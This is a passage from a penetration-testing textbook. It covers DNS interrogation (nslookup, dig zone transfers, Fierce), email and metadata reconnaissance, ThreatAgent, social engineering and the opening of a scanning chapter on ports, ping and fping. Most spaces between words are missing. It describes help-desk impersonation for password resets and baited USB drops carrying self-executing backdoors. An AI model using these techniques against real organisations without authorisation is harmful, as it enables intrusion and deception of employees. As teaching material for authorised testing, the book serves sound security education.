DNSserversthataboundtoday,itisnaturaltoassumethatmanycurrentnetworkadminsoperateunderthesameprinciple.Iftheabovestatementsaretrueinevenasmallnumberoforganizations,we

areleftwithvaluabletargetsthathaveahighprobabilityofbeingunpatchedoroutofdate.Sothenextlogicalquestionbecomes,howdoweaccessthisvirtualpotofgold?Beforewecanbegin theprocessof examiningaDNSserver,weneed an IP address. Earlier in our reconnaissance, we came across severalreferences to DNS. Some of these references were by host names, whereasotherswerebyIPaddresses.Usingthehostcommand,wecantranslateanyhostnamesintoIPaddressesandaddtheseIPstothepotentialtargetlist.Again,youmust be sure to double-and triple-check that the IP you collect iswithin yourauthorizedscopebeforecontinuing.Now that we have a list of DNS IP addresses that belong to or (serve our

target) we can begin the process of interrogatingDNS to extract information.Althoughitisbecomingrarertofind,oneofourfirsttaskswheninteractingwithatargetDNSistoattemptazonetransfer.Recall that DNS servers contain a series of records that match up the IP

address andhost name for all the devices that the servers are awareof.Manynetworks deploy multiple DNS servers for the sake of redundancy or loadbalancing. As a result, DNS servers need a way to share information. This“sharing” process occurs through the use of a zone transfer. During a zone

transfer,alsocommonlyreferredtoasAXFR,oneDNSserverwillsendallthehost-to-IP mappings it contains to another DNS server. This process allowsmultipleDNSserverstostayinsync.Even if we are unsuccessful in performing a zone transfer, we should still

spendtimeinvestigatinganyDNSserversthatfallwithinourauthorizedscope.

nslookupThefirst toolwewilluse toexamineDNSisnslookup.nslookupisa tool thatcan be used to query DNS servers and potentially obtain records about thevarioushostsofwhichitisaware.nslookupisbuiltintomanyversionsofLinuxincluding Kali and is even available for Windows. nslookup operates verysimilarly between the various OSs; however, you should always review thespecifics for yourparticular system.You cando so inLinuxby reviewing thenslookupmanpage.Thisisaccomplishedbyopeningaterminalandtyping

mannslookup

ALERT!Asoftware’smanpage is a text-baseddocumentation system thatdescribes a particular tool, including its basic and advanceduses,and other details about how the program functions.Most Linux-based tools include a man page. This can be extremely helpfulwhenattempting to runanewprogramor troubleshoot issues.Toview the man page for a tool, open a terminal and enter thecommand:

mantool_name

Obviously you will need to replace “tool_name” with theprogramnameyouareattemptingtoreadabout.

nslookupisatoolthatcanberunininteractivemode.Thissimplymeanswewillfirstinvoketheprogramandthenfeedittheparticularswitchesweneedtomakeitfunctionproperly.Webeginusingnslookupbyopeningaterminalandentering:

nslookup

Byissuingthe“nslookup”command,westartthenslookuptoolfromtheOS.After typing “nslookup” and hitting enter, your usual “#” prompt will bereplaced with a “>” prompt. At this point, you can enter the additionalinformationrequiredfornslookuptofunction.Webegin feeding commands to nslookup by entering the “server” keyword

andanIPaddressoftheDNSserveryouwanttoquery.Anexamplefollows:server8.8.8.8

nslookupwillsimplyaccept thecommandandpresentyouwithanother“>”prompt. Next, we specify the type of record we are looking for. During thereconnaissance process, there are many types of records that you maybeinterested in.Foracomplete listingof thevariousDNSrecord typesand theirdescription,youcanuseyournewlyacquiredGoogleskills!Ifyouarelookingfor general information, you should set the type to any by using the keyword“any”:

settype=any

Be sure to pay special attention to the spacing or you will get an errormessage.IfyouarelookingforspecificinformationfromtheDNSserversuchas the IP address of the mail server that handles e-mail for the targetorganization,youwouldusethe“settype=mx”.WewrapupourinitialDNSinterrogationwithnslookupbyenteringthetarget

domainafterthenext“>”prompt.Supposeyouwantedtoknowwhatmailserverisusedtohandlethee-mailfor

Syngress. In a previous example,we determined that one of Syngress’s nameservers was “ns1.dreamhost.com”. Here again, we can use the host tool toquicklydeterminewhat IPaddress isassociatedwithns1.dreamhost.com.Withthis information in hand, we can use nslookup to query DNS and find mailserverforSyngress.Figure2.11showsanexampleofthisprocess;thenameofthee-mailserverhasbeenhighlighted(inthebottomrightofthescreenshot)andnowneedstobeaddedtoourpotentialtargetlist.

ADDITIONALINFORMATIONUtilizing thesettype = any option in nslookupwill provide uswith a more complete DNS record including the information inFigure2.11.

FIGURE2.11 Combininghostandnslookuptodeterminetheaddressofourtarget’se-mailserver(MXrecord).

DigAnothergreattoolforextractinginformationfromDNSis“dig”.Toworkwithdig,wesimplyopenaterminalandenterthefollowingcommand:

dig@target_ip

Naturally,youwillneedtoreplacethe“target_ip”withtheactualIPaddressofyourtarget.Amongotherthings,digmakesitverysimpletoattemptazonetransfer.RecallthatazonetransferisusedtopullmultiplerecordsfromaDNSserver.Insomecases,azonetransfercanresultinthetargetDNSserversendingall the records it contains. This is especially valuable if your target does notdistinguishbetween internalandexternal IPswhenconductingazone transfer.Wecanattemptazonetransferwithdigbyusingthe“–tAXFR”switch.IfwewantedtoattemptazonetransferagainstafictitiousDNSserverwithan

IP address of 192.168.1.23 and a domain name of “example.com” we wouldissuethefollowingcommandinaterminalwindow:

[email protected]–tAXFRIfzonetransfersareallowedandnotrestricted,youwillbepresentedwitha

listingofhost and IPaddresses from the targetDNSserver that relate toyourtargetdomain.

Fierce:WhattoDoWhenZoneTransfersFailAswehavepreviouslydiscussed,mostadministratorstodayaresavvyenoughtoprevent random people from completing an unauthorized zone transfer.

However,allisnotlost.Ifyourzonetransferfails,therearedozensofgoodDNSinterrogationtools.Fierceisaneasytouse,powerfulPerlscriptthatcanprovideyouwithdozensofadditionaltargets.InKali, you can find Fierce in theusrbin/ directory.Once again, you can

simplyopenaterminalandissuethe“fierce”command(alongwiththerequiredswitches)oryoucanmoveintotheusrbin/directory.IfyouprefertorunFiercefrom the usrbin directory, you will need to open a terminal and issuing thefollowingcommand:

cdusrbin/fierce

Inside the Fierce directory, you can run the tool by executing the fierce.plscriptandutilizingthe–dnsswitchfollowedbyyourtargetdomain.

./fierce.pl–dnstrustedsec.comPayspecialattentiontothe“./”infrontofthetoolname.Thisisrequiredand

tells Linux to execute the file in the local directory. The script will begin byattempting tocompleteazone transferfromthespecifieddomain. In theeventthe process fails, Fierce will attempt to brute-force host names by sending aseries of queries to the targetDNS server. This can be an extremely effectivemethodforuncoveringadditionaltargets.ThegeneralideaisthatifDaveowns“trustedsec.com”(whichhedoes,pleasedonotscanorinterrogate),hemayalsoownsupport.trustedsec.com,citrix.trustedsec.com,print.trustedsec.com,ormanyothers.

ADDITIONALINFORMATIONIf you are using an attack machine which does not have Fiercepreinstalledyoucangetitbyrunningthecommand:

apt-getinstallfierce

TherearemanyadditionaltoolsthatcanbeusedtointeractwithDNS.Thesetools should be explored and utilized once you have a solid understanding ofhowDNSworks.Pleaseseetheendofthischapterforabriefdiscussionofsomeadditional tools you may want to use when conducting a penetration testinvolvingDNS.

ExtractingInformationfromE-mailServersE-mailserverscanprovideawealthofinformationforhackersandpenetrationtesters. In many ways, e-mail is like a revolving door to your target’sorganization. Assuming your target is hosting their own e-mail server, this isoftenagreatplacetoattack.Itisimportanttoremember,“Youcan’tblockwhatyoumustletin.”Inotherwords,fore-mailtofunctionproperly,externaltrafficmustpassthroughyourborderdeviceslikeroutersandfirewalls,toaninternalmachine,typicallysomewhereinsideyourprotectednetworks.Asa result of this,wecanoftengather significantpiecesof informationby

interacting directly with the e-mail sever. One of the first things to do whenattemptingtoreconane-mailserveristosendane-mailtotheorganizationwithanempty.batfileoranonmalicious.exefilelikecalc.exe.Inthiscase,thegoalis to send amessage to the target e-mail server inside the organization in thehopeofhavingthee-mailserverinspect,andthenrejectthemessage.Once the rejectedmessage is returnedback tous,wecanattempt toextract

information about the target e-mail server. In many cases, the body of themessagewill include a precannedwrite-up explaining that the server does notaccept e-mails with potentially dangerous extensions. This message oftenindicatesthespecificvendorandversionofantivirusthatwasusedtoscanthee-mail.Asanattacker,thisisagreatpieceofinformationtohave.Havingareturnmessagefromatargete-mailserveralsoallowsustoinspect

theheadersofthee-mail.InspectingtheInternetheaderswilloftenallowustoextract somebasic information about the e-mail server, including IP addressesand thespecificsoftwareversionsorbrandofe-mail server running.KnowingtheIPaddressandsoftwareversionscanbeincrediblyusefulwhenwemoveintotheexploitationphase(Step3).

MetaGooFilAnotherexcellentinformationgatheringtoolsis“MetaGooFil”.MetaGooFilisametadata extraction tool that iswritten by the same folkswho brought us theHarvester.Metadata is often defined as “data about data”.When you create adocumentlikeMicrosoftWordoraPowerPointpresentation,additionaldataarecreatedand storedwithinyour file.Thesedataoften includevariouspiecesofinformationthatdescribethedocumentincludingthefilename,thefilesize,thefileownerorusernameof thepersonwhocreatedthefile,andthe locationor

pathwhere the filewas saved. This process occurs automaticallywithout anyuserinputorinteraction.Theabilityofanattacker to read this informationmaypresent someunique

insights into the target organization including user names, computer or servernames,networkpaths,filesshares,andothergoodies.MetaGooFilisatoolthatscours the Internet looking for documents that belong to your target. Afterfinding these documents,MetaGooFil downloads themand attempts to extractusefulmetadata.MetaGooFil is built into Kali and can be invoked by opening a terminal

window and running the “metagoofil” command (along with the appropriateswitches)orbynavigatingtotheMetaGooFilexecutablewhichislocatedintheusrbindirectory.Thiscanbeaccomplishedbyenteringthefollowingcommand:

cdusrbin/metagoofil

After navigating to theMetaGooFil directory, it is a good idea to create a“files”folder.Thepurposeofthisfolderistoholdallthetargetfilesthatwillbedownloaded;thiskeepstheoriginaldirectoryclean.Youcancreateanewfolderbyentering:

mkdirfiles

With thisdirectory setup,youcan runMetaGooFilby issuing the followingcommand:

./metagoofil.py -d syngress.com –t pdf,doc,xls,pptx –n 20 -o

files–fresults.html

Let us examine the details of this command. “./metagoofil.py” is used toinvoketheMetaGooFilpythonscript.Onceagain,donotforgettoputthe“./”infrontofthecommand.The“–d”switchisusedtospecifythetargetdomaintobesearched.The“–t”switchisusedtospecifywhichtypeortypesoffilesyouwantMetaGooFiltoattempttolocateanddownload.Atthetimeofthiswriting,MetaGooFilwascapableofextractingmetadatafromthefollowingformats:pdf,doc,xls,ppt,odp,ods,docx,xlsx,andpptx.Youcanentermultiplefiletypesbyseparatingeachtypewithacomma(butnospaces).The“–n”switchisusedtospecify how many files of each type you would like to download forexamination. You can also specify individual file types to limit the returnedresults.Weusethe“–o”switchtospecifythefolderwherewewanttostoreeachofthefilesthatMetaGooFillocatesanddownloads.Inanearlierstep,wecreateda“files”directory;asaresult,ourcommand“–ofiles”willsaveeachof thediscovereddocumentsintothisfolder.Lastlyweusethe“–f”switchtospecifyan output file. This command will produce a formatted document for easy

reviewandcataloging.BydefaultMetaGooFilwillalsodisplayanyfindingsintheterminal.While the output fromMetaGooFil against Syngress reveals nothing, below

youwill find a sample of the tool’s output from a recent penetration test thatclearlyprovidesadditionalvalueandshouldbeincludedwithourreconnaissancedata.

C:\DocumentsandSettings\dennisl\MyDocuments\

This example is rich with information. First, it provides us with a validnetwork user name “dennisl”. Second, it clearly shows that Dennis uses aWindowsmachine.

ThreatAgent:AttackoftheDronesAnotheroptionforreconnaissance,whichincludesseveralinformationgatheringtools built into one, is calledThreatAgentDrone.This toolwas developed byMarcus Carey. You can sign up for a free account athttps://www.threatagent.comasshowninFigure2.12:

FIGURE2.12 SigningupforafreeThreatAgentaccount.

ThreatAgent takesOSINTgathering to thenext level byusing a numberofdifferentsites, tools,and technologies tocreateanentiredossier foryouaboutyourtarget.Theonlythingyouneedistheorganizationname(Syngress)andadomainnamesuchassyngress.comasshowninFigure2.13.

FIGURE2.13 StartingasearchwithThreatAgent.

Once the drone is finished extracting all the information from the variouswebsites, it will present a report to you including IP address ranges, e-mailaddresses,pointsofcontactwithintheorganization,portsthatareopen(throughShodan),andmuchmore.Interestingenough,whendoingasearchforSyngress,Icameupasthefirstresult(notfaked!)asshowninFigure2.14.

FIGURE2.14 ThreatAgentresults.

Fromtheresults,youcanparsenamesfromLinkedIn,Jigsaw,andanumberofotherpublic sitesand finda large listofe-mailaddresses thatgetextractedandaddedthroughtoolsliketheHarvesterasshowninFigure2.15.

FIGURE2.15 AdditionalattackvectorsidentifiedbyThreatAgent.

Thisisoneawesometoolforpenetrationtesters,andsomethingthatIhighlyrecommend if you are performing reconnaissance on an organization orcompany.

SocialEngineeringNo discussion of reconnaissance or hacking would be complete withoutincludingsocialengineering.Manypeoplewouldarguethatsocialengineeringisone of themost simple and effectivemeans for gathering information about atarget.Socialengineeringistheprocessofexploitingthe“human”weaknessthatis

inherentineveryorganization.Whenutilizingsocialengineering,theattacker’sgoal is to get an employee to divulge some information that should be keptconfidential.Let us assume you are conducting a penetration test on an organization.

Duringyourearlyreconnaissance,youdiscoverane-mailaddressforoneofthecompany’s sales people.You understand that sales people are highly likely toreturn product inquiry e-mails. As a result, you sent an e-mail from ananonymousaddress feigning interest inaparticularproduct. In reality,youdidnot care about the product.The real purpose of sending the e-mail is to get areply from thesalespersonsoyoucan review thee-mailheaderscontained intheresponse.Thisprocesswillallowyoutogatheradditionalinformationaboutthecompany’sinternale-mailservers.Let us take our social engineering example one step further. Suppose our

salesman’s name is Ben Owned (we found this information during ourreconnaissance of the company website and in the signature of his e-mailresponse).Letusassumethatinthisexample,whenyousenttheemployeethe

productinquirye-mail,youreceivedanautomaticreplywiththenotificationthatBenOwnedwas“currentlyoutoftheofficetravellingoverseas”and“wouldbegonefortwoweekswithonlylimitede-mailaccess.”AclassicexampleofsocialengineeringwouldbetoimpersonateBenOwned

andcallthetargetcompany’stechsupportnumberaskingforhelpresettingyourpasswordbecauseyouareoverseasandcannotaccessyourwebmail.Ifyouarelucky, the tech support peoplewill believe your story and reset the password.Assumingtheyusethesamepassword,younowhaveaccesstoBenOwned’se-mail and other network resources like VPN for remote access, or FTP foruploadingsalesfiguresandcustomerorders.Social engineering, like reconnaissance in general, takes both time and

practice.Noteveryonemakesagoodsocialengineer.Inordertobesuccessful,youmustbe supremelyconfident,knowledgeableof the situation,and flexibleenough to go “off script”. If you are conducting social engineering over thephone,itcanbeextremelyhelpfultohavedetailedandwell-writtennotesincaseyouareaskedaboutsomeobscuredetail.Another example of social engineering is to leave USB thumb drives or

compact discs (CDs) at the target organization. The thumb drives should bedistributedtoseveral locationsinorneartheorganization.Theparkinglot, thelobby,thebathroom,andanemployee’sdeskareallgreat“drop”locations.ItishumannatureformostpeopletoinsertthethumbdriveorCDintotheirPCjustto seewhat ison thedrive. In this example though, the thumbdriveorCD ispreloadedwith a self-executing backdoor program that automatically launcheswhen the drive is inserted into the computer. The backdoor is capable ofbypassing thecompanyfirewallandwilldialhome to theattacker’scomputer,leaving the target exposed and giving the attacker a clear channel into theorganization.WewilldiscussthetopicofbackdoorsinChapter6.

ADDITIONALINFORMATIONIfyouwanttobeevenmoresuccessfulinthesetypesofattacks,tryaddingsomelabelstoyourCDsorUSBthumbdrives.Itisnearlyimpossibleforsomeonetoresistsneakingapeakatadrivemarked“AnnualEmployeeReviews”or“Q4ReductioninForceProposal”orevenjustsimply“Confidential!NotforPublicDisclosure!”

SiftingThroughtheInteltoFindAttackableTargetsOnceyouhavecompleted thestepsabove,youneed to schedulesome time toclosely review all the reconnaissance and information you have gathered. Inmostcases,evenlightreconnaissanceshouldproduceamountainofdata.Oncethereconnaissancestepiscompleted,youshouldhaveasolidunderstandingofyourtargetincludingtheorganization,structure,andeventechnologiesdeployedinsidethecompany.Whileconducting thereviewprocess, it isagoodidea tocreateasingle list

thatcanbeusedasacentral repositoryfor recordingIPaddresses.Youshouldalsokeepseparate lists thatarededicated toe-mailaddresses,hostnames,andURLs.Unfortunately,mostof thedatayoucollectedwillnotbedirectlyattackable.

Duringtheprocessofreviewingyourfindings,besuretotransformanyrelevant,non-IP-based information, into an IP address. Using Google and the hostcommand,youshouldbeabletoextractadditionalIPsthatrelatetoyourtarget.AddthesetotheIPlist.After we have thoroughly reviewed the collected reconnaissance and

transformed the data into attackable targets, we should have a list of IPs thatbelong to, serve, or are related to the target. As always, it is important torememberyourauthorizedscopebecausenotalltheIPswecollectwillbewithinthatrange.Asaresult,thefinalstepinreconnaissanceistoreviewtheIPlistyoujustcreatedandeithercontactthecompanytodetermineifyoucanincreasethescopeofthepentestorremovetheIPaddressfromyourlist.Atthispoint,youwillbeleftwithalistofIPaddressesthatyouareauthorized

toattack.Donotdiscardorunderestimateallthenonattackableinformationyouhave gathered. In each of the remaining steps, we will be reviewing andextractinginformationfromStep1.

HowDoIPracticeThisStep?Nowthatyouhaveasolidunderstandingofthebasictoolsandtechniquesusedto conduct reconnaissance, you will need to practice everything that wascovered.Therearemanywaystogoaboutpracticingthisstep.Onesimpleandeffectiveideaistomakealistofcompaniesbyreadinganewspaper.Ifyoudonot have access to a newspaper, any popular news website will do, like

www.cnn.com,www.msnbc.com,etc.Whilemakinga listofpotential targets toconduct reconnaissanceon, try to

focus on company names that you have not heard of before. Any goodnewspaper or website should contain dozens of companies that you areunfamiliarwith.Onenote of caution here,YouMustBeSureNot toDoAnyActiveReconnaissance!Obviously,youhavenotbeenauthorizedinanywaytoperformtheactivetechniqueswecoveredinthischapter.However,youcanstillpracticegatheringinformationthroughthepassivetechniqueswediscussed.Thiswillallowyoutorefineandsharpenyourskills.Itwillalsoprovideyouwithanopportunity to develop a system for cataloging, organizing, and reviewing thedatayoucollect.Remember,whilethismaybethe“least”technicalphase,ithasthepotentialforthebestreturns.

WhereDoIGofromHere?Onceyouhavepracticedandmasteredthebasicsofreconnaissance,youwillbearmed with enough information and skill to tackle advanced topics ininformationgathering.Belowyouwillfindalistoftoolsandtechniquesthatwilltakeyourinformation-gatheringabilitytothenextlevel.Begin the process of expanding your skills by learning search engine

directivesforsitesotherthanGoogle.Aswementionedearlier,therearemanydifferentsearchenginesandmasteringthelanguageofeachisimportant.Mostmodern search engines include directives or otherways to complete advancedsearches.Rememberyoushouldneverrelyonasinglesearchenginetodoallofyour reconnaissance. Searching for the same keywords in different searchenginesoftenreturnsdrasticallydifferentandsurprisinglyusefulresults.IfyouareaWindowsuser,FOCAandSearchDiggityareawesometoolsfor

extracting metadata and expanding your target list. Both FOCA andSearchDiggity are available for free. FOCA can be found athttp://www.informatica64.com/foca.aspx. Unless you are up-to-date on yourSpanish,youwillneedtolocateandclickontheUnionJack(flagoftheUnitedKingdom) icon. Doing so will load the English version of the page.SearchDiggityisanothergreattoolthatleveragesOSINT,Googlehacking,anddataextraction.Thetoolincludesasuiteofproductsandleveragesanumberofresources to provide results. Invest the time required to master each of thesetoolsandyouwillbeonyourwaytomasteringdigitalreconnaissance.Once you understand the basics, it is definitely worth your time to review

JohnnyLong’sGHDB.ThisisasinglerepositoryforsomeofthemosteffectiveandfearedGoogleHacksinexistencetoday!IthasalreadybeenmentionedandshouldgowithoutsayingbutDoNotRunTheseQueriesAgainstUnauthorizedTargets! You can find the GHDB at http://www.hackersforcharity.org/ghdb.While you are there, take a minute to read about Hackers for Charity andJohnny’seffortswiththe“foodforwork”program.Paterva’sMaltego is a very powerful tool that aggregates information from

public databases and provides shockingly accurate details about your targetorganization.Thesedetailscanbetechnicalinnature,suchasthelocationorIPaddressofyourfirewall,ortheycanbepersonal,suchasthephysicallocationofyour currently (travelling) salesman. Learning tomasterMaltego takes a littleeffortbutiswellworthyourtime.AfreeversionisavailableinKali.Finally,itisworthyourtimetoexplorethe“SwissArmyKnifeInternetTool”

Robtex.Thissiteisoftenaone-stopshopforinformationgatheringbecauseitissoversatileandprovidessomuchinformation.

SummaryInformation gathering is the first step in any penetration test or hack. Eventhough this phase is less technical than most, its importance should not beoverlooked. The more information you are able to collect, the better yourchancesofsuccessinlaterphasesofthepenetrationtest.Atfirst,theamountofinformation that canbegatheredonyour target can seemabit overwhelming,but with a good documentation process, the proper use of tools, and furtherpracticeyouwillsoonmastertheartofreconnaissance.

CHAPTER3

Scanning

InformationinThisChapter:

Fping:PingsandPingSweepsNmap:PortScanningandServiceDetectionNSE:ExtendingNmapNessus:VulnerabilityScanning

IntroductionOncestep1hasbeencompleted,youshouldhaveasolidunderstandingof thetarget and a detailed collection of gathered information. These data mainlyincludeourcollectionofInternetprotocol(IP)addresses.Recallthatoneofthefinal steps in reconnaissance was to create a list of IP addresses that bothbelongedtothetargetandthatwewereauthorizedtoattack.Thislististhekeyto transitioning from step 1 to step 2. In step 1, we mapped our gatheredinformation to attackable IP addresses. In step 2,wewillmap IP addresses toopenportsandservices.

ADDITIONALINFORMATIONEachoftheexamplesinthischapterwillberunfromKaliagainsteither the Windows XP or Metasploitable VM. Once you havedownloadedandextractedMetasploitable,youmayneedtochangethenetworkingsettingsintheVMwarePlayerconfigurationsettingfrom“bridged”to“NAT”.Onceyoumakethischange,reboottheMetasploitable VM. At this point, you will be presented with aloginscreensimilartoKali.However,unlikeKali,youwillnotbeprovided with a user name or password. Your goal is tocompromisetheMetasploitableVMandgainremoteaccesstothesystem.

It is important to understand that it is the job ofmost networks to allow atleastsomecommunication toflowintoandoutof theirborders.Networks thatexist in complete isolationwithno Internet connection andno services like e-mail or web traffic are very rare today. Each service, connection, or route toanother network provides a potential foothold for an attacker. Scanning is theprocessofidentifyinglivesystemsandtheservicesthatexistonthosesystems.For thepurposeof ourmethodology,wewill break step2 into four distinct

phases:2.1.Determiningifasystemisalivewithpingpackets.2.2.PortscanningthesystemwithNmap.2.3.LeveragingtheNmapscriptingengine(NSE)tofurtherinterrogatethe

target.2.4.ScanningthesystemforvulnerabilitieswithNessus.

Later in this chapter,wewill discuss tools that combine thesephases into asingle process; however, for the purpose of introducing and learning newmaterial,itisbesttocoverthemseparately.Step2.1istheprocessofdeterminingwhetheratargetsystemisturnedonand

capableofcommunicatingorinteractingwithourmachine.Thisstepistheleastreliable and we should always continue with steps 2.2–2.4 regardless of theoutcomeofthistest.Nomatterthefindings,itisstillimportanttoconductthisstep andmake note of anymachines that respond as alive. To be fair, as youprogressinyourskillsyouwillprobablycombinesteps2.1and2.2intoasingle

scan directly fromNmap. Since this book concentrates on the basics,wewillcoverstep2.1asastand-aloneprocess.Step2.2istheprocessofidentifyingthespecificportsandservicesrunninga

particularhost.Simply defined, ports provide away or location for software, services, and

networks to communicate with hardware like a computer. A port is a dataconnection that allows a computer to exchange information with othercomputers, software,ordevices.Prior to the interconnectionof computers andnetworks,informationwaspassedbetweenmachinesthroughtheuseofphysicalmedia like floppy drives. Once computers were connected to a network, theyneeded an efficientmeans for communicatingwith each other. Portswere theanswer. The use of multiple ports allows for simultaneous communicationwithouttheneedtowait.Tofurtherclarifythispointforthoseofyouwhoareunfamiliarwithportsand

computers, itmay be helpful to consider the following analogy: think of yourcomputerasahouse.Therearemanydifferentwaysthatapersoncanenterthehouse. Each of the different ways to enter your house (computer) is like acomputerport.Justlikeaportonacomputer,alltheentrywaysallowtraffictoflowintoandoutofyourhome.Imagineahousewithuniquenumbersovereachofthepotentialentrypoints.

Mostpeoplewillusethefrontdoor.However,theownersmaycomeinthroughthegaragedoor.Sometimes,peopleenterthehousefromabackdoororslidingglassdooroffthedeck.Anunconventionalpersonmayclimbthroughawindoworattempttosqueezethroughthedoggiedoor!Regardless of how you get into your house, each of these examples

correspondsnicelywiththeanalogyofcomputersandports.Recallthatportsarelikegatewaystoyourcomputer.Someportsaremorecommonandreceivelotsoftraffic(justlikeyourfrontdoor);othersaremoreobscureandrarelyused(byhumans)likethedoggiedoor.Manycommonnetworkservicesrunonstandardportnumbersandcangive

attackersanindicationastothefunctionofthetargetsystem.Table3.1providesalistofcommonportsandtheircorrespondingservices.

Table3.1CommonPortNumbersandTheirCorrespondingService

PortNumber Service

20 FTPdatatransfer

21 FTPcontrol

22 SSH

23 Telnet

25 SMTP(e-mail)

53 DNS

80 HTTP

137–139 NetBIOS

443 HTTPS

445 SMB

1433 MSSQL

3306 MySQL

3389 RDP

5800 VNCoverHTTP

5900 VNC

Obviously, therearemanymoreportsandservices.However, thislistservesasabasicintroductiontocommonportsthatareutilizedbyorganizationstoday.Youwillseetheseservicesrepeatedlyasyoubegintoportscanyourtargets.Weneed to pay special attention to the discovery of any open ports on our

targetsystems.Youshouldmakedetailednotesandsavetheoutputofanytoolruninstep2.2.Remembereveryopenportisapotentialgatewayintothetargetsystem.Step 2.3 leverages the NSE to further interrogate and verify our earlier

findings.TheNSE isa tremendouslypowerfulandsimple tool,whichextendsthepowerand flexibilityofNmap. Itgiveshackersandpenetration testers theabilitytouseprecannedorcustomscripts,whichcanbeusedtoverifyfindings,discover new processes and vulnerabilities, and automate many penetrationtestingtechniques.The final step in our scanning method is step 2.4, vulnerability scanning.

Vulnerability scanning is the process of locating and identifying knownweaknesses in the services and software running on a target machine. Thediscoveryofknownvulnerabilitiesonatargetsystemcanbeabitlikewinningthe lottery or hitting a blackjack in Vegas. It is definitely a win for thepenetrationtester.Manysystemstodaycanbeexploiteddirectlywithlittleornoskillwhenamachineisdiscoveredtohaveaknownvulnerability.It is importanttomentionthatthereisadifferenceintheseverityofvarious

vulnerabilities. Some vulnerabilities may present little opportunities for anattacker,whereas otherswill allow you to completely take over and control amachinewith a single click of a button.Wewill discuss the various levels ofvulnerabilitiesinmoredetaillaterinthischapter.Inthepast,Ihavehadseveralclientsaskingmetoattempttogainaccessto

somesensitiveserveronaninternalnetwork.Obviouslyinthesecases,thefinaltargetisnotdirectlyaccessibleviatheInternet.Whetherwearegoingaftersomesupersecret internalmachineorsimplyattempting togainaccess toanetwork,we usually begin by scanning the perimeter devices. The reason for this issimple,westartattheperimeterbecausemostoftheinformationwehavefromstep1belongstoperimeterdevices.Also,withmanyoftoday’stechnologiesandarchitectures, it is not always possible to reach directly into a network. As aresult, we often employ a hacking methodology where we chain a series ofmachines together in order to reach our final target. First, we conquer aperimeterdevice,andthenwemovetoaninternalmachine.

ADDITIONALINFORMATIONThe process of compromising one machine and then using thatmachine as a stepping stone to attack another machine is called“pivoting”.Pivotingismostoftenusedwhenthetargetmachineisattached to a network but not directly reachable fromour currentlocation.Hackersandpenetrationtestersmayhavetopivotseveraltimesbeforehavingdirectaccesstotheoriginaltarget.

Perimeter devices are computers, servers, routers, firewalls, or otherequipment, which sit at the outer edge of a protected network. These devicesserve as an intermediary between protected internal resources and externalnetworksliketheInternet.Aspreviouslymentioned,weoftenbeginbyscanningtheperimeterdevicesto

look forweaknessesor vulnerabilities thatwill allowus togain entry into thenetwork. Oncewe have successfully gained access (whichwewill discuss inChapter 4), the scanning process can be repeated from the newly ownedmachine, in order to find additional targets.This cyclical process allowsus to

create a very detailed internal network map and discover the criticalinfrastructurehidingbehindthecorporatefirewall.

PingsandPingSweepsAping isaspecial typeofnetworkpacketcalledan InternetControlMessageProtocol (ICMP) packet. Pings work by sending a particular type of networktraffic,calledanICMPechorequestpacket,toaspecificinterfaceonacomputerornetworkdevice.Ifthedevice(andtheattachednetworkcard)thatreceivedtheping packet is turned on and not restricted from responding, the receivingmachinewillrespondbacktotheoriginatingmachinewithanechoreplypacket.Aside from telling us that a host is alive and accepting traffic, pings provideothervaluableinformationincludingthetotaltimeittookforthepackettotraveltothetargetandreturn.Pingsalsoreport traffic loss thatcanbeusedtogaugethe reliabilityofanetworkconnection.To runping fromyourLinuxmachine,openaterminalandissuethecommand:

pingtarget_ip

You will need to replace the “target_ip” portion of the command with theactualIPaddressorhostnameofthemachineyouaretryingtoping.ThefirstlineinFigure3.1showsthepingcommandbeingissued.Allmodern

versions of Linux and Windows include the ping command. The majordifference between the Linux and Windows version is that by default, theWindowspingcommandwillsendfourechorequestpacketsandautomaticallyterminate,whereastheLinuxpingcommandwillcontinuetosendechorequestcommandsuntilyouforce it tostop.OnaLinuxsystem,youcanforceapingcommandtostopsendingpacketsbyusingtheCtrl+Ccombination.

FIGURE3.1 Anexampleofthepingcommand.

Letusfocusourattentiononthethirdlinethatstartswith“64bytesfrom”.This line is tellingus that our ICMPecho request packet successfully reachedthe target host and that the host successfully sent a reply packet back to ourmachine. The “64 bytes” indicates the size of the response packet. The “fromord08s05-in-f6.1e100.net(74.125.225.6):” specifieswhichhostname (andIPaddress)respondedtoourgoogle.comping.The“icmp_seq=”designatesthepacketorder.The“ttl=128”isthetimetolivevalue;thisisusedtodeterminethemaximumnumberofhopsthepacketwilltakebeforeautomaticallyexpiring.“Time=29.2ms”istellingyouhowlongtheentiretriptookforthepacketstotravel to and from the target. After stopping the ping command, you will beprovidedwithanoutputofstatisticsincludingthenumberofpacketstransmitted,packetloss,andaseriesoftime-basedstats.Ifthetargethostisdown(offline)orblocking ICMPpackets,youwill see100%packet lossora“DestinationHostUnreachable” message depending on which operating system you are using.Sometimes,insporadicnetworkconnections,youmayseemultiplerequesttimeoutandafewwitharesponse.Thisistypicallybecauseofapoorconnectiontoanenvironmentorthereceivingsystemisexperiencenetworkissues.Nowthatyouhaveabasicunderstandingofhowthepingcommandworks,let

usseehowweleveragethistoolasahacker.Becauseweknowthatpingscanbeuseful in determining if a host is alive, we can use the ping tool as a hostdiscoveryservice.Unfortunately,manuallypingingeverypotentialmachineonevenasmallnetworkwouldbehighly inefficient.Fortunately forus, thereareseveral tools thatallowustoconductpingsweeps.Apingsweepisaseriesofpings that are automatically sent to a range of IP addresses, rather thanindividuallyenteringeachtarget’saddress.The simplestway to runaping sweep iswith a tool calledFPing.FPing is

builtintoKaliandisrunfromtheterminal.ThetoolcanalsobedownloadedforWindows.TheeasiestwaytorunFPingistoopenterminalwindowandtypethefollowingcommand:

fping–a–g172.16.45.1172.16.45.254>hosts.txt

The“–a”switchisusedtoshowonlythelivehostsinouroutput.Thismakesourfinalreportmuchcleanerandeasiertoread.The“–g”isusedtospecifytherangeofIPaddresseswewant tosweep.Youneedtoenterboth thebeginningand the ending IP addresses. In this example, we scanned all the IPs from172.16.45.1to172.16.45.254.The“>”characterisusedtopipetheoutputtoafile,andthe“hosts.txt”isusedtospecifythenameofthefileourresultswillbesavedto.Toviewthehosts.txtfile,youcaneitheropenitwithatexteditoror

usethe“cat”command,whichisbuiltintotheLinuxterminal.Thecatcommandwilldisplay thecontentsof a file in thecurrent terminalwindow.Toview thecontentsofthehosts.txt,enterthefollowingcommandintoyourterminal:

cathosts.txt

TherearemanyotherswitchesthatcanbeusedtochangethefunctionalityoftheFPingcommand.Youcanviewthemallbyutilizingthemanpageasshownbelow:

manfping

